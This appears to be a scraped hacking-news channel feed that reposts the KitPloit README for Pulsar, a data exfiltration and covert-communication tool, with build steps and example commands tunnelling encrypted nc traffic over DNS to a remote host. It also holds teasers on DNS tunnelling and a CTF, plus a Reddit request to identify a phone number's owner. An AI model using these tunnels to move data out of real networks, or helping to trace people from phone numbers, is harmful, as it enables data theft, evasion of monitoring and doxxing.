Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
TryHackMe : Colddbox Write-up

https://cdn-images-1.medium.com/max/2600/1*xje4ivWKsUCLaVfzuXWPRw.png
I start usually by updating the hosts file on my computer, in order to make accessing the machine easier without the need of typing the IP…

Continue reading on Medium »

9 views22:50

9 views22:50

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Inside the Mind of a Hacker (Part 3)

https://cdn-images-1.medium.com/max/900/0*NF0iy9nOc7xKgdYu.jpg
Reflecting on making it through one year as a white-hat hacker

Continue reading on Medium »

9 views22:50

Hacking Articles Tips Tricks Videos Tutorials

8 views22:50

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Data Exfiltration, Firewall Evasion, and DNS Encapsulation with Iodine

https://cdn-images-1.medium.com/max/1964/0*q39h7etePlDIlrAf
Hello World and welcome to HaXeZ. Today I want to talk about the DNS tunneling software Iodine. Or more specifically I want to talk about…

Continue reading on System Weakness »

8 views22:50

Hacking Articles Tips Tricks Videos Tutorials

8 views23:07

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
Pulsar - Data Exfiltration And Covert Communication Tool

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyfmngbEChZmMWCbf-NtRbKKqoXW1j7jAExWAOfqVerKLNvASYPIyiwvBBlznV6SVmDG4UFMPChRAJZwoOkE0xddNI3SOk5E-08lqwrOWnIGuKMGt6buCkxdEwcsFBxeOBmWZkAbWifg76Ns-IZaefqwsBa6-0V1Cp-ITqpo-lU0RTsjRBLQGKiEK/w640-h362/Data%20Exfiltration.png

Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets.
Setting up Pulsar
Make sure you have at least Go 1.8 in your system to build Pulsar
First, getting the code from repository and compile it with following command:

$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go

or run:

$ make

Connectors


A connector is a simple channel to the external world, with the connector you can read and write data from different sources.

* Console:
* Default in/out connector, read data from stdin and write to stdout

* TCP
*
Read and write data through tcp connections

tcp:127.0.0.1:9000

* UDP
*
Read and write data through udp packet

udp:127.0.0.1:9000

* ICMP
*
Read and write data through icmp packet

icmp:127.0.0.1 (the connection port is obviously useless)

* DNS
*
Read and write data through dns packet

dns:fakedomain.net@127.0.0.1:1994

You can use option --in in order to select input connector and option --out to select output connector:

--in tcp:127.0.0.1:9000
--out dns:fkdns.lol:2.3.4.5:8989

Handlers


A handler allows you to change data in transit, you can combine handlers arbitrarily.

*
Stub:

* Default, do nothing, pass through

*
Base32

*
Base32 encoder/decoder

--handlers base32

*
Base64

*
Base64 encoder/decoder

--handlers base64

*
Cipher

*
CTR cipher, support AES/DES/TDES in CTR mode (Default: AES)

--handlers cipher:<key|[aes|des|tdes#key]

You can use the --decode option to use ALL handlers in decoding mode

--handlers base64,base32,base64,cipher:key --decode

Example

In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.

[nc 127.0.0.1 9000] <--tcp--[pulsar] <--dns--[pulsar] <--tcp--[nc -l 127.0.0.1 -p 9900]

192.168.1.198:

$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:test.org@192.168.1.199:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000

192.168.1.199:

$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:test.org@192.168.1.199:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode

Contribute

All contributions are always welcome
Download Pulsar

10 views23:07

Hacking Articles Tips Tricks Videos Tutorials

Pulsar - Data Exfiltration And Covert Communication Tool
http://www.kitploit.com/2022/06/pulsar-data-exfiltration-and-covert.html

8 views23:46

Hacking Articles Tips Tricks Videos Tutorials

8 views23:46

Hacking Articles Tips Tricks Videos Tutorials

Pulsar is a tool for data exfiltration (https://www.kitploit.com/search/label/Exfiltration) and covert communication that enable you to create a secure (https://www.kitploit.com/search/label/Secure) data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets (https://www.kitploit.com/search/label/Packets).
Setting up Pulsar (https://www.kitploit.com/search/label/Pulsar) Make sure you have at least Go 1.8 in your system to build PulsarFirst, getting the code from repository and compile it with following command: $ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go
or run: $ make
Connectors  A connector is a simple channel to the external world, with the connector you can read and write data from different sources. Console: Default in/out connector, read data from stdin and write to stdout TCP Read and write data through tcp connections tcp:127.0.0.1:9000
UDP Read and write data through udp packet udp:127.0.0.1:9000
ICMP Read and write data through icmp packet icmp:127.0.0.1 (the connection port is obviously useless)
DNS Read and write data through dns packet dns:fakedomain.net@127.0.0.1:1994
You can use option --in in order to select input connector and option --out to select output connector: --in tcp:127.0.0.1:9000
--out dns:fkdns.lol:2.3.4.5:8989
Handlers  A handler allows you to change data in transit, you can combine handlers arbitrarily. Stub: Default, do nothing, pass through Base32 Base32 encoder/decoder --handlers base32
Base64 Base64 encoder/decoder --handlers base64
Cipher CTR cipher, support AES/DES/TDES in CTR mode (Default: AES) --handlers cipher:
You can use the --decode option to use ALL handlers in decoding (https://www.kitploit.com/search/label/Decoding) mode --handlers base64,base32,base64,cipher:key --decode
Example In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel. [nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]
192.168.1.198: $ ./pulsar --in tcp:127.0.0.1:9000 --out dns:test.org@192.168.1.199:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000
192.168.1.199: $ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:test.org@192.168.1.199:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode
Contribute All contributions are always welcome

Download Pulsar (https://github.com/jacopodl/Pulsar)

10 views23:46

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Will it be very difficult or impossible to hack things in future

As technologies evolving i felt that securities also improving like windows firewall is so strong now. As compared to past. So my question is that things will be very difficult to hack someone as compared to now. And what your views about it. I don't know how to ask this question perfectly.

submitted by /u/alimunirr
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Will it be very difficult or impossible to hack things in future

As technologies evolving i felt that securities also improving like windows firewall is so strong now. As compared to past. So my question is that...

11 viewsedited 00:38

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
finding the owner of a phone number.

How do I find the name of the owner of a phone number? And maybe even address? But name is the most important.

submitted by /u/DirtyHippieMoney
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

finding the owner of a phone number.

How do I find the name of the owner of a phone number? And maybe even address? But name is the most important.

13 viewsedited 00:38

Hacking Articles Tips Tricks Videos Tutorials

https://b.thumbs.redditmedia.com/O8fxrNY6Vu6RVmtuL07N9gD5cwYHueK6i03AkjBVMlQ.jpg submitted by /u/haha_supadupa
[link] [comments]

11 views04:38

Hacking Articles Tips Tricks Videos Tutorials

8 views04:38

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
I made a browser extension that spoofs your location data to match your VPN. It can also spoof your user agent.

https://external-preview.redd.it/FJYpqlSZL_l_SElD6j3qEkNw0qeOl_R2rubcDiquTyU.png?width=640&crop=smart&auto=webp&s=a422f6eb58f31669f5421ce978a018178ba7b7a9 submitted by /u/z0ccc_z0ccc
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

From the hacking community on Reddit: I made a browser extension that spoofs your location data to match your VPN. It can also…